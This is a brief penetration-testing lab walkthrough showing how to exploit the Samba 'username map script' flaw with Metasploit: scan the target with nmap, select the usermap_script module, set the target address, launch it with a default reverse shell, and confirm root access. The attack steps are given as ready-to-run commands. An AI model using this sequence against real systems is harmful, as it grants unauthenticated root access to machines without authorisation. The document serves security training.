Samba Exploitation
Samba is an open-source implementation of the SMB/CIFS protocol, widely used to provide file and printer sharing between Linux and Windows systems. Because SMB has historically been a major target for exploitation (as seen in incidents like EternalBlue), outdated Samba installations remain a common focus in penetration testing labs. In this case, a vulnerable configuration option in usermap_script allows unauthenticated remote command execution.
Discovery
| Command | Description |
|---|---|
| nmap -A -p- -T5 [target IP] | Scans all ports with service versions and OS detection to identify the target's open services. |
Attack
| Command | Description |
|---|---|
| msfconsole | Launches the Metasploit Framework console. |
| search samba | Searches for modules related to Samba. |
| use exploit/multi/samba/usermap_script | Selects the Samba "username map script" command execution exploit. |
| show options | Displays the required parameters for the exploit and payload. |
| set rhosts [target IP] | Sets the target's IP address. |
| exploit -j -z | Launches the exploit as a background job. No manual payload configuration is required — a default reverse shell payload is used automatically. |
Verification
| Command | Description |
|---|---|
| sessions -l | Lists active sessions. |
| sessions -i [id] | Interacts with a specific session, using the ID shown by sessions -l. |
| whoami | Confirms the privilege level of the compromised shell (root). |
| uname -a | Displays the target system's kernel information. |
| ls | Lists files in the current directory to confirm shell access. |
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.